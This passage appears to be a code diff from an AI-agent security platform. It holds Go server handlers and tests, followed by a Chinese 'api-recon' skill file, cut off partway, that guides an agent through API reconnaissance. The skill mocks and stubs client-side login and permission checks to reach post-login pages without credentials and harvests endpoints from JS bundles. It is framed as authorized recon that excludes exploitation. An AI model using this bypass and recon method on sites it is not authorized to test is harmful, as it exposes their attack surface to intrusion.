if _, err := as.UpsertApp(db.UpsertAppReq{Name: it.Name, Category: it.Category, Description: it.Description, ICP: it.ICP}); err != nil {
|
||||
return "app " + it.Name + ": " + err.Error()
|
||||
}
|
||||
synced["app"]++
|
||||
case "service":
|
||||
var it struct {
|
||||
Domain string `json:"domain"`
|
||||
IP string `json:"ip"`
|
||||
Port string `json:"port"`
|
||||
Service string `json:"service"`
|
||||
URL string `json:"url"`
|
||||
Title string `json:"title"`
|
||||
Status *int `json:"status"`
|
||||
Products []string `json:"products"`
|
||||
Icon string `json:"icon"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &it); err != nil {
|
||||
return "service 解析失败: " + err.Error()
|
||||
}
|
||||
if it.Service == "http" || it.URL != "" {
|
||||
if it.URL == "" {
|
||||
return ""
|
||||
}
|
||||
if _, err := as.UpsertHTTPService(db.UpsertHTTPServiceReq{
|
||||
URL: it.URL, Technologies: it.Products, StatusCode: it.Status,
|
||||
PageTitle: it.Title, FaviconMMH3: it.Icon, IP: it.IP,
|
||||
}); err != nil {
|
||||
return "service " + it.URL + ": " + err.Error()
|
||||
}
|
||||
} else {
|
||||
port, _ := strconv.Atoi(it.Port)
|
||||
if _, err := as.UpsertOtherService(db.UpsertOtherServiceReq{
|
||||
Domain: it.Domain, IP: it.IP, Port: port, ServiceName: it.Service,
|
||||
}); err != nil {
|
||||
return "service " + it.IP + ":" + it.Port + ": " + err.Error()
|
||||
}
|
||||
}
|
||||
synced["service"]++
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// queryInt reads an int query param with a default fallback.
|
||||
func queryInt(r *http.Request, key string, def int) int {
|
||||
if v := r.URL.Query().Get(key); v != "" {
|
||||
if n, err := strconv.Atoi(v); err == nil && n > 0 {
|
||||
return n
|
||||
}
|
||||
}
|
||||
return def
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
_ "github.com/jackc/pgx/v5/stdlib"
|
||||
)
|
||||
|
||||
// TestMain acquires a PostgreSQL advisory lock (7337741002) for the entire
|
||||
// server test suite so cross-package DELETE cleanup races with db/agent
|
||||
// packages are avoided when running `go test ./...`.
|
||||
func TestMain(m *testing.M) {
|
||||
dsn, _, err := db.DSN()
|
||||
if err != nil {
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
conn, err := sql.Open("pgx", dsn)
|
||||
if err != nil || conn.Ping() != nil {
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
defer conn.Close()
|
||||
if _, err := conn.Exec(`SELECT pg_advisory_lock(7337741002)`); err != nil {
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
defer conn.Exec(`SELECT pg_advisory_unlock(7337741002)`) //nolint:errcheck
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/agent"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
func names(tools []actool.CoreTool) map[string]actool.CoreTool {
|
||||
m := map[string]actool.CoreTool{}
|
||||
for _, t := range tools {
|
||||
m[t.Name()] = t
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
// TestWireTools verifies end-to-end against the live dev PG: wireTools seeds the
|
||||
// catalog, ToolResolve keeps record_fact for worker but drops it for planner (not
|
||||
// bound), and an edited description + injected default flow through.
|
||||
func TestWireTools(t *testing.T) {
|
||||
dsn, _, err := db.DSN()
|
||||
if err != nil {
|
||||
t.Skipf("no database config (%v) — skipping", err)
|
||||
}
|
||||
pg, err := db.Open(dsn)
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
defer pg.Close()
|
||||
|
||||
wireTools(pg, nil) // nil domainReg: test only covers filter/decoration, not injection
|
||||
t.Cleanup(func() { agent.ToolResolve = nil })
|
||||
// Prevent interactive-shell Bash decoration: if the worker agent has
|
||||
// interactive_shell=true in the DB, ToolResolve would append a note to
|
||||
// Bash's description. Disable that for this test so the undecorated
|
||||
// pass-through assertion holds regardless of DB state.
|
||||
t.Setenv("AGENT_CORE_DISABLE_INTERACTIVE_SHELL", "1")
|
||||
|
||||
// Seeding populated the catalog.
|
||||
rf, err := pg.GetTool("record_fact")
|
||||
if err != nil || rf == nil {
|
||||
t.Fatalf("record_fact not seeded: %v", err)
|
||||
}
|
||||
|
||||
// Build a base as the worker does: its domain tools + defaults, resolved for
|
||||
// "worker" then for "planner".
|
||||
ts := agent.NewToolSet(nil, "")
|
||||
base := append(ts.WorkerTools(), actool.DefaultTools()...)
|
||||
ctx := context.Background()
|
||||
|
||||
worker := names(agent.ToolResolve(ctx, "worker", base))
|
||||
if _, ok := worker["record_fact"]; !ok {
|
||||
t.Error("worker lost record_fact")
|
||||
}
|
||||
// SDK generic tools aren't seeded → ToolResolve passes them through unchanged
|
||||
// (same object, original description — not decorated). No startup prune touches
|
||||
// non-catalog rows, so future user-defined custom tools survive too.
|
||||
if bash, ok := worker["Bash"]; !ok {
|
||||
t.Error("worker lost Bash (should pass through)")
|
||||
} else if bash.Description() != actool.NewBash().Description() {
|
||||
t.Error("Bash should pass through undecorated, but description changed")
|
||||
}
|
||||
// planner is not bound to record_fact → resolving a base that contains it drops it.
|
||||
planner := names(agent.ToolResolve(ctx, "planner", base))
|
||||
if _, ok := planner["record_fact"]; ok {
|
||||
t.Error("planner should not get record_fact (not bound)")
|
||||
}
|
||||
|
||||
// Edit description + add a default to a scalar param, then confirm the resolved
|
||||
// worker tool reflects both. Restore from code default on cleanup.
|
||||
t.Cleanup(func() { _ = pg.UpsertToolForce(rf.Key, rf.Description, rf.Schema, mustJSON(rf.Agents)) })
|
||||
var schema map[string]any
|
||||
_ = json.Unmarshal(rf.Schema, &schema)
|
||||
if props, ok := schema["properties"].(map[string]any); ok {
|
||||
if conf, ok := props["confidence"].(map[string]any); ok {
|
||||
conf["default"] = "inferred"
|
||||
}
|
||||
}
|
||||
edited := mustJSON(schema)
|
||||
if err := pg.UpdateTool(rf.Key, "EDITED DESC", edited, mustJSON([]string{"worker"}), true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
worker2 := names(agent.ToolResolve(ctx, "worker", base))
|
||||
got := worker2["record_fact"]
|
||||
if got == nil {
|
||||
t.Fatal("record_fact missing after edit")
|
||||
}
|
||||
if got.Description() != "EDITED DESC" {
|
||||
t.Errorf("description = %q, want EDITED DESC", got.Description())
|
||||
}
|
||||
// Default injection: omit confidence → handler input should carry the default.
|
||||
// We can't run the real handler (nil store), but InputSchema must show the default.
|
||||
sc := got.InputSchema()
|
||||
props := sc["properties"].(map[string]any)
|
||||
conf := props["confidence"].(map[string]any)
|
||||
if conf["default"] != "inferred" {
|
||||
t.Errorf("confidence.default = %v, want inferred", conf["default"])
|
||||
}
|
||||
}
|
||||
|
||||
func mustJSON(v any) json.RawMessage {
|
||||
b, _ := json.Marshal(v)
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// ---------- P3 agent triggers (仅自定义 agent) ----------
|
||||
|
||||
func (s *Server) pgListTriggers(w http.ResponseWriter, r *http.Request) {
|
||||
pg, a, ok := s.agentByKey(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
trs, err := pg.ListTriggersFor(a.Key)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"triggers": trs})
|
||||
}
|
||||
|
||||
type triggerReq struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
IntervalSec int `json:"interval_sec"`
|
||||
OnFinding bool `json:"on_finding"`
|
||||
OnGoalMet bool `json:"on_goal_met"`
|
||||
OnTaskTimeout bool `json:"on_task_timeout"`
|
||||
IntervalMessage string `json:"interval_message"`
|
||||
FindingMessage string `json:"finding_message"`
|
||||
GoalMessage string `json:"goal_message"`
|
||||
TaskTimeoutMessage string `json:"task_timeout_message"`
|
||||
}
|
||||
|
||||
func (s *Server) pgCreateTrigger(w http.ResponseWriter, r *http.Request) {
|
||||
pg, a, ok := s.agentByKey(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if a.Builtin {
|
||||
writeErr(w, 400, "触发器仅支持自定义 agent")
|
||||
return
|
||||
}
|
||||
var req triggerReq
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if req.IntervalSec < 0 {
|
||||
req.IntervalSec = 0
|
||||
}
|
||||
if req.IntervalSec == 0 && !req.OnFinding && !req.OnGoalMet && !req.OnTaskTimeout {
|
||||
writeErr(w, 400, "至少选择一种触发条件(定时/发现finding/目标达成/任务超时)")
|
||||
return
|
||||
}
|
||||
tr, err := pg.CreateTrigger(&db.AgentTrigger{
|
||||
AgentKey: a.Key, Enabled: req.Enabled, IntervalSec: req.IntervalSec,
|
||||
OnFinding: req.OnFinding, OnGoalMet: req.OnGoalMet, OnTaskTimeout: req.OnTaskTimeout,
|
||||
IntervalMessage: req.IntervalMessage, FindingMessage: req.FindingMessage,
|
||||
GoalMessage: req.GoalMessage, TaskTimeoutMessage: req.TaskTimeoutMessage,
|
||||
})
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, tr)
|
||||
}
|
||||
|
||||
func (s *Server) pgUpdateTrigger(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
id, ok := pathInt(r, "id")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad trigger id")
|
||||
return
|
||||
}
|
||||
var req triggerReq
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if req.IntervalSec < 0 {
|
||||
req.IntervalSec = 0
|
||||
}
|
||||
if req.IntervalSec == 0 && !req.OnFinding && !req.OnGoalMet && !req.OnTaskTimeout {
|
||||
writeErr(w, 400, "至少选择一种触发条件(定时/发现finding/目标达成/任务超时)")
|
||||
return
|
||||
}
|
||||
if err := pg.UpdateTrigger(&db.AgentTrigger{
|
||||
ID: id, Enabled: req.Enabled, IntervalSec: req.IntervalSec,
|
||||
OnFinding: req.OnFinding, OnGoalMet: req.OnGoalMet, OnTaskTimeout: req.OnTaskTimeout,
|
||||
IntervalMessage: req.IntervalMessage, FindingMessage: req.FindingMessage,
|
||||
GoalMessage: req.GoalMessage, TaskTimeoutMessage: req.TaskTimeoutMessage,
|
||||
}); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
func (s *Server) pgDeleteTrigger(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
id, ok := pathInt(r, "id")
|
||||
if !ok {
|
||||
writeErr(w, 400, "bad trigger id")
|
||||
return
|
||||
}
|
||||
if err := pg.DeleteTrigger(id); err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"deleted": id})
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
//go:build embedui
|
||||
|
||||
package server
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"path"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// webuiDist holds the statically-exported frontend (built with
|
||||
// `cd web && npm run build:static`, then copied into server/webui/dist). Compiled
|
||||
// into the binary only when building with `-tags embedui`. The `all:` prefix is
|
||||
// required so Next's `_next/` asset dir (leading underscore) is included.
|
||||
//
|
||||
//go:embed all:webui/dist
|
||||
var webuiDist embed.FS
|
||||
|
||||
// webuiHandler serves the embedded SPA. Public (no JWT) — auth is enforced
|
||||
// client-side and on /api. Serves the exported per-route index.html files and
|
||||
// falls back to index.html so client-side routing still resolves unknown paths.
|
||||
func (s *Server) webuiHandler() http.Handler {
|
||||
root, err := fs.Sub(webuiDist, "webui/dist")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
p := strings.TrimPrefix(path.Clean(r.URL.Path), "/")
|
||||
if p == "" {
|
||||
p = "index.html"
|
||||
}
|
||||
// 1) exact file (assets: _next/*, favicon.ico, ...)
|
||||
// 2) route dir → <p>/index.html (trailingSlash export)
|
||||
// 3) <p>.html
|
||||
// 4) SPA 兜底 → index.html（交给客户端路由）
|
||||
for _, cand := range []string{p, p + "/index.html", p + ".html"} {
|
||||
if serveFileIfExists(w, r, root, cand) {
|
||||
return
|
||||
}
|
||||
}
|
||||
http.ServeFileFS(w, r, root, "index.html")
|
||||
})
|
||||
}
|
||||
|
||||
// serveFileIfExists serves name from fsys when it exists as a regular file.
|
||||
func serveFileIfExists(w http.ResponseWriter, r *http.Request, fsys fs.FS, name string) bool {
|
||||
f, err := fsys.Open(name)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
st, statErr := f.Stat()
|
||||
_ = f.Close()
|
||||
if statErr != nil || st.IsDir() {
|
||||
return false
|
||||
}
|
||||
http.ServeFileFS(w, r, fsys, name)
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
//go:build !embedui
|
||||
|
||||
package server
|
||||
|
||||
import "net/http"
|
||||
|
||||
// webuiHandler is the no-embed stub (default build). The frontend is NOT bundled
|
||||
// into this binary — run it separately with `cd web && npm run dev` during
|
||||
// development. Build the bundled single-binary with:
|
||||
//
|
||||
// cd web && npm run build:static # produces web/out
|
||||
// cp -r web/out server/webui/dist # (or use the build script)
|
||||
// go build -tags embedui ./cmd/artex
|
||||
func (s *Server) webuiHandler() http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
http.Error(w, "前端未内嵌到此二进制（开发用 next dev；发布用 -tags embedui 构建）", http.StatusNotFound)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,425 @@
|
||||
---
|
||||
name: api-recon
|
||||
description: 收集网站API接口时调用该skill。
|
||||
---
|
||||
|
||||
# API Recon（前端接口侦察）
|
||||
|
||||
在**已授权**前提下，尽可能完整地发现：**后端 API**（路径、方法、参数、响应体）、**前端路由**、**UI 功能触发点**（Tab、弹窗、表格操作等）。
|
||||
|
||||
---
|
||||
|
||||
## 边界与禁止（Agent 必读 · 违反即越界）
|
||||
|
||||
本 skill **仅做 API / 参数面侦察**，不是漏洞挖掘或渗透利用阶段。
|
||||
|
||||
### 任务边界
|
||||
|
||||
| 范围 | 允许 | 禁止 |
|
||||
|---|---|---|
|
||||
| **目标** | 枚举 path、method、参数、路由、UI 触发点 | SQLi/XSS/越权/爆破/fuzz 漏洞、改包攻击、破坏性操作 |
|
||||
| **鉴权** | Hook + stub/mock 绕过**客户端**登录门 | 向用户索要或猜测账号密码；尝试真实登录表单提交 |
|
||||
| **运行时** | 无凭据下 hook 接口，用 mock 响应让 SPA 进入登录后壳层 | 依赖真实后端会话才能继续的流程 |
|
||||
|
||||
### 无凭据动态分析（Phase 3 默认）
|
||||
|
||||
1. 通过 `preload.js` / `runtime_harvest.js` **拦截并 stub** 登录、权限、菜单等 bootstrap 接口；
|
||||
2. 对业务查询接口返回 **结构正确、业务码成功、数据可为空** 的 mock body；
|
||||
3. 使前端在无后端或 401 环境下仍能渲染登录后页面，从而触发更多 XHR/fetch/WebSocket；
|
||||
4. **空数据、空白表格、占位 UI 均属预期**——勿为此转向真实登录或漏洞测试。
|
||||
|
||||
**一句话**：用 mock 撑开前端路由与组件挂载，**只录 outbound 请求**；后端返回什么不重要，重要的是前端**还会发哪些接口**。
|
||||
|
||||
### 流程硬禁止
|
||||
|
||||
| 禁止 | 替代做法 |
|
||||
|---|---|
|
||||
| Phase 1 完成前 grep/curl/Read 主 entry `index-*.js` 提取 API path | 跑 `OUTDIR/harvest_static.py` |
|
||||
| 手写 `extract_apis.py` 等替代 harvest 的脚本 | 改 `OUTDIR/harvest_static.py` 后重跑 |
|
||||
| 同一 grep/命令失败 ≥2 次仍重复 | 换策略：读 tool_logs、改 harvest、查 reference |
|
||||
| 跳过门禁 A/B，直接跑 `scripts/` 原版 | 复制到 OUTDIR 并按目标改 |
|
||||
| 真实用户名/密码、OTP、OAuth 等鉴权 | stub/mock（见上文） |
|
||||
| 以「拿真实数据」为由跳过 stub，做越权/注入测试 | 只录 outbound，属 recon 边界 |
|
||||
| 删除、导出敏感数据、批量写等不可逆操作 | coverage 点击亦同 |
|
||||
| 未完成 runtime + 动态枚举，声称已获全部页面和接口 | 见「完成定义」或标注局限 |
|
||||
| 未完成参数触发矩阵 + diff，声称已掌握全部参数 | Phase 3b 矩阵 + Phase 5 diff |
|
||||
| 用单一 runtime 样本推断必填/可选 | 多样本 diff 或校验规则/错误反推 |
|
||||
|
||||
---
|
||||
|
||||
## 两层模型 + 运行模式
|
||||
|
||||
| 层 | 产出 | 上限 |
|
||||
|---|---|---|
|
||||
| **静态**（JS bundle） | 全量 endpoint 路径、路由草案、组包点字段候选 | 无 HTTP 方法；参数须 Phase 1b；漏掉运行时拼接 URL |
|
||||
| **运行时**（活会话） | 方法 + body + 响应 + 动态 URL + WS/SSE；多样本 diff 补全参数 | 页面须实际渲染才会发请求；单样本不足以定必填/可选 |
|
||||
|
||||
| 运行模式 | 引擎 | 适用 |
|
||||
|---|---|---|
|
||||
| **depth** | `runtime_harvest.js`（Puppeteer） | API 清单、METHOD/params/响应体、WS/SSE、可复现批量跑 |
|
||||
| **coverage** | browser + `preload.js` | 点 Tab/弹窗/表格，功能点覆盖更深 |
|
||||
| **both** | 先 depth 再 coverage | 最完整，耗时最长 |
|
||||
|
||||
**参数方法论**（无通用脚本）：path 用 harvest/正则；参数用 **锚点扩窗 + UI 绑定链 + 多样本 diff + 错误反推**（grep 配方见 [reference.md](reference.md) J 节）。
|
||||
|
||||
---
|
||||
|
||||
## 完成定义
|
||||
|
||||
全部满足方可声称 recon 完成：
|
||||
|
||||
- [ ] **静态**：Phase 1 harvest 产出 `api_static.txt`、`routes.txt`、`js/`
|
||||
- [ ] **运行时**：至少 depth 或 coverage 之一；coverage/both 须 **Hook 生效 + 动态枚举环**
|
||||
- [ ] **进壳**：访问业务 path 时非 `/login`（注意 hash 路由）
|
||||
- [ ] **参数**：coverage/both 完成参数触发矩阵 + `param_samples.json`；Phase 5 合并 `params_merged.json`
|
||||
- [ ] **深度**（若模块页空白）：Phase 4 权限树还原并重跑，直至出现 **module 级 API**（非仅 locale/bootstrap）
|
||||
- [ ] **交付**：Phase 5 产出齐全（见 Phase 5 产出表）；`insert_assets` 写入服务与端点资产
|
||||
|
||||
---
|
||||
|
||||
## 脚本与门禁
|
||||
|
||||
`scripts/` 仅为参考模板，**禁止**直接跑原版并当最终结果。
|
||||
|
||||
**规则**：先读 → 按目标改 → 写入 `OUTDIR`（如 `recon/`）→ 记 `CHANGES.md`；不匹配则按方法论重写，只借结构。
|
||||
|
||||
| 门禁 | 何时 | 参考脚本 → OUTDIR 副本 | 常见必改项 |
|
||||
|---|---|---|---|
|
||||
| **A（静态）** | Phase 0 后、**第一次**跑 harvest/spider 前 | `harvest_static.py` / `spider_mpa.py` | **多数站点默认 regex 可直接跑**；仅 manifest/方言不匹配时改 endpoint 正则、webpack/Vite `publicPath`、MPA exclude/cookie |
|
||||
| **B（运行时）** | Phase 2 后、跑 depth/coverage 前 | `runtime_harvest.js` / `preload.js` + `config.json` | Cookie/localStorage 键、neutralize 成功值、stubs、login 正则、api 前缀、hash/history |
|
||||
|
||||
**SPA 强制顺序**（不可交换；Phase 编号优先于「先探索再脚本」）：
|
||||
|
||||
| 步骤 | 必须 | 禁止 |
|
||||
|---|---|---|
|
||||
| Phase 0 完成后 | 下一条 Bash = `python3 OUTDIR/harvest_static.py <URL> OUTDIR` | curl/grep/Read 主 entry `index-*.js`（通常 >500KB） |
|
||||
| 门禁 A | 复制脚本 → 按需小改 → **立刻运行** | 先手工提取 API 再决定是否 harvest |
|
||||
| Phase 1 完成前 | `wc -l` 校验产出；404 改 harvest 重试 | 手写 extract 脚本；对未下载 URL 反复 grep |
|
||||
| Phase 1b 起 | grep 仅 `OUTDIR/js/*.js` | 用主 bundle 代替 harvest |
|
||||
|
||||
- ✅ 复制 `harvest_static.py` → （可选）改 regex → **立即运行**
|
||||
- ❌ curl 主 bundle → grep 多次 → 写临时 extract → 最后才 harvest
|
||||
- **MPA**：Phase 0 后下一条 Bash = `python3 OUTDIR/spider_mpa.py ...`
|
||||
|
||||
---
|
||||
|
||||
## 工具与输出约束
|
||||
|
||||
| 约束 | 说明 |
|
||||
|---|---|
|
||||
| 大文件 | >100KB 的 `index-*.js` **禁止** Read/grep 进上下文；用 OUTDIR 脚本批处理 |
|
||||
| grep 输出 | 必须 `\| head -20` 或 `-m 5`；对话只保留 path 摘要，勿贴 bundle 片段 |
|
||||
| 校验 | 用 `wc -l`、`ls \| wc -l`；勿 Read 整目录 |
|
||||
| regex 初探 | 可选、≤1 次、仅 ≤50KB 小 chunk 或 HTML；正式静态以 harvest 为准 |
|
||||
| reference | 配方/模板/排障见 [reference.md](reference.md)，勿重复 inline 全文 |
|
||||
|
||||
---
|
||||
|
||||
## 执行路线图
|
||||
|
||||
```
|
||||
Phase 0 分类 + OUTDIR
|
||||
→ 门禁 A → Phase 1 harvest（★ 立刻运行 ★）
|
||||
→ Phase 1b 参数逆向
|
||||
→ Phase 2 鉴权三道门 → config.json
|
||||
→ 门禁 B → Phase 3 运行时 + 参数矩阵
|
||||
→ Phase 4 权限树（必要时）→ 重跑 Phase 3
|
||||
→ Phase 5 合并报告 + insert_assets批量插入所有发现的服务、端点api资产，无论如何插入时不允许漏掉已发现的资产
|
||||
```
|
||||
|
||||
按序勾选；**前一项未完成不得进入下一 Phase**。
|
||||
|
||||
1. [ ] **Phase 0**：初探 SPA/MPA；创建 `OUTDIR` → [Phase 0](#phase-0--分类)
|
||||
2. [ ] **门禁 A + Phase 1**：复制脚本 → **立刻** harvest → `wc -l` 校验 → [Phase 1](#phase-1--静态)
|
||||
3. [ ] **Phase 1b**：锚点扩窗 + 绑定层 → `param_candidates.json` → [Phase 1b](#phase-1b--参数逆向)
|
||||
4. [ ] **Phase 2**：鉴权三道门 → `config.json` → [Phase 2](#phase-2--鉴权三道门)
|
||||
5. [ ] **门禁 B**：调整 runtime 脚本 → [Phase 3](#phase-3--运行时)
|
||||
6. [ ] **Phase 3**：depth / coverage / both；确认进壳；参数触发矩阵 → `param_samples.json`
|
||||
7. [ ] **Phase 4**（若需要）：权限树 → patch stubs → 重跑 Phase 3 → [Phase 4](#phase-4--权限树还原)
|
||||
8. [ ] **Phase 5**：合并产出 + 报告 + `insert_assets` → [Phase 5](#phase-5--合并与报告)
|
||||
|
||||
---
|
||||
|
||||
## Phase 0 — 分类
|
||||
|
||||
拉取入口 HTML，**创建 `OUTDIR`**（勿改 skill 内 `scripts/`）：
|
||||
|
||||
- **SPA**：空壳 + `<div id=app>` + chunk → Phase 1–5
|
||||
- **MPA**：SSR + `<form>`、无 endpoint bundle → 门禁 A 后：
|
||||
|
||||
```bash
|
||||
python3 recon/spider_mpa.py <BASE_URL> <OUTDIR> [--cookie "session=..."] [--max 300] [--depth 5] [--exclude "logout|delete|destroy"]
|
||||
```
|
||||
|
||||
产出 `forms.txt`、`links.txt`、`api_inline.txt`。SPA 若 forms ≈ 0 → 切 Phase 1。
|
||||
|
||||
---
|
||||
|
||||
## Phase 1 — 静态
|
||||
|
||||
遵守 [脚本与门禁](#脚本与门禁) · [工具与输出约束](#工具与输出约束)。
|
||||
|
||||
```bash
|
||||
python3 recon/harvest_static.py <BASE_URL> <OUTDIR>
|
||||
```
|
||||
|
||||
harvest：解析 HTML script → webpack/Vite manifest → 下载全部 lazy chunk → 产出 `js/`、`api_static.txt`、`routes.txt`、`chunkmap.txt`。
|
||||
|
||||
```bash
|
||||
wc -l OUTDIR/api_static.txt OUTDIR/routes.txt
|
||||
ls OUTDIR/js | wc -l
|
||||
```
|
||||
|
||||
- chunk 数 vs manifest：404 须改 harvest 重试，勿手工 curl 逐个 chunk
|
||||
- `api_static.txt` 过少 → 放宽 OUTDIR 内 endpoint 正则后重跑（见 reference）
|
||||
|
||||
### Phase 1b — 参数逆向
|
||||
|
||||
path 来自 Phase 1；参数字段须单独 recon。grep 规则见 [工具与输出约束](#工具与输出约束)。
|
||||
|
||||
**完成标准**：重要接口能答——字段名、传输位置、类型推断、是否必填、样本值、置信度。
|
||||
|
||||
#### 1b.0 — 传输形态
|
||||
|
||||
| 形态 | 参数在哪 | 静态优先看 |
|
||||
|---|---|---|
|
||||
| REST JSON | body + query | path 锚点旁 `(params\|data\|body)\s*:\s*\{` |
|
||||
| GraphQL | `variables` | gql 模板、`$page: Int` |
|
||||
| 传统 form | urlencoded | `<form>`、`FormData` |
|
||||
| 文件上传 | multipart | `FormData.append` |
|
||||
| 路径参数 | `/user/:id` | 路由表 + `useParams` / `$route.params` |
|
||||
| 加密/签名 | 包进 `sign`/`data` | Hook 加密函数入参（reference D 节） |
|
||||
|
||||
产出：每接口标注 `transport: query|json|form|graphql|encrypted`。
|
||||
|
||||
#### 1b.1 — 锚点扩窗
|
||||
|
||||
以已知 path 为锚，扩窗口找组包对象：
|
||||
|
||||
```bash
|
||||
grep -n '"/api/user/list"' OUTDIR/js/*.js | head -20
|
||||
grep -rhoaE '.{0,120}("/api[^"]+").{0,200}' OUTDIR/js/*.js | head -20
|
||||
grep -rhoaE '(params|data|body|payload)\s*:\s*\{' OUTDIR/js/*.js | head -20
|
||||
```
|
||||
|
||||
| 包装层 | 参数线索 |
|
||||
|---|---|
|
||||
| axios 实例 | `data` / `params` |
|
||||
| 统一 request | 拦截器注入全局字段 |
|
||||
| OpenAPI 客户端 | 生成 method 签名 |
|
||||
| React Query / SWR | hook 第二参数 |
|
||||
| Vue composable | composable 入参 |
|
||||
|
||||
类型残留：`yup`/`zod`/rules、`Form.Item name=`、内嵌 Swagger。
|
||||
|
||||
→ `param_candidates.json`：`{ path, fields[], source: "static-callsite", confidence }`
|
||||
|
||||
#### 1b.2 — 绑定层
|
||||
|
||||
```
|
||||
Form field → onFinish/handleSubmit → transform → API payload
|
||||
```
|
||||
|
||||
| 绑定源 | 手法 |
|
||||
|---|---|
|
||||
| 表单 submit | 跟 submit → transform → API |
|
||||
| 表格搜索 | `getFieldsValue()` → `params` |
|
||||
| 路由 | `:id` / `?tab=` |
|
||||
| 拦截器 | 全局 `tenantId`、分页、sign |
|
||||
| 枚举 select | `options` → API 枚举值 |
|
||||
|
||||
DevTools call stack 从 `fetch`/`XHR.send` 往上追组包函数。
|
||||
|
||||
#### 1b.3 — 组包三问（≠ Phase 2 鉴权三门）
|
||||
|
||||
| 问 | 要答什么 |
|
||||
|---|---|
|
||||
| **组装** | payload 在哪 build、transform 痕迹 |
|
||||
| **校验** | required、pattern、enum |
|
||||
| **传输** | path / query / body / multipart / 头 |
|
||||
|
||||
拦截器门（Phase 2）顺带读全局注入字段（Authorization、`X-Tenant-Id`、sign）。
|
||||
|
||||
#### 1b.4 — 与 Phase 3 衔接
|
||||
|
||||
候选字段来自静态/绑定层；**必填/可选/条件依赖**须 Phase 3 参数矩阵 + diff + Phase 5 错误反推。
|
||||
|
||||
---
|
||||
|
||||
## Phase 2 — 鉴权三道门
|
||||
|
||||
在 `OUTDIR/js/` grep（带 `head`），写入 `config.json`（配方见 reference）：
|
||||
|
||||
| 门 | 问题 | 关键词 |
|
||||
|---|---|---|
|
||||
| **渲染门** | 如何判断已登录？ | `isLogin`、`getToken`、Cookie/localStorage |
|
||||
| **拦截器门** | 什么触发跳 `/login`？ | `response_code`、`errno`、axios interceptor |
|
||||
| **内容门** | 菜单/权限从哪来？ | `menu`、`permission`、`role`、`acl`、`routes` |
|
||||
|
||||
禁止把 localStorage 键名当凭据——须从 chunk/请求链确认。
|
||||
|
||||
**出口 = 门禁 B**：结论落到 `config.json`，并改 `OUTDIR/runtime_harvest.js` / `preload.js`。
|
||||
|
||||
### Phase 2b — API 观察（可选）
|
||||
|
||||
用 OUTDIR 内 `preload.js` 确认会话键名、Authorization、嵌套 API URL：
|
||||
|
||||
| 配置 | 产出 |
|
||||
|---|---|
|
||||
| `recordDetail: true` | `__API_RECON_DETAIL__` |
|
||||
| `observe.xhrHeaders: true` | headers 观察 |
|
||||
| `extractUrlsFromResponse: true` | 响应内子 API |
|
||||
| `observe.storageReads/cookieReads: true` | 回填 config |
|
||||
| `neutralizeVueRouter: true` | `__API_RECON_ROUTES__` |
|
||||
|
||||
coverage 每轮导出：`__API_RECON_LOG__`、`__API_RECON_DETAIL__`、`__API_RECON_ROUTES__`、`__API_RECON_OBSERVE__`。
|
||||
|
||||
---
|
||||
|
||||
## Phase 3 — 运行时
|
||||
|
||||
须已过门禁 B；遵守 [边界与禁止](#边界与禁止agent-必读--违反即越界) · 无凭据 mock 策略。
|
||||
|
||||
`config.json` 设置 `"runtimeMode": "depth" | "coverage" | "both"`（模板见 reference）。
|
||||
|
||||
### Hook 与 stub（depth + coverage 共用）
|
||||
|
||||
| 层 | 范围 | 目的 |
|
||||
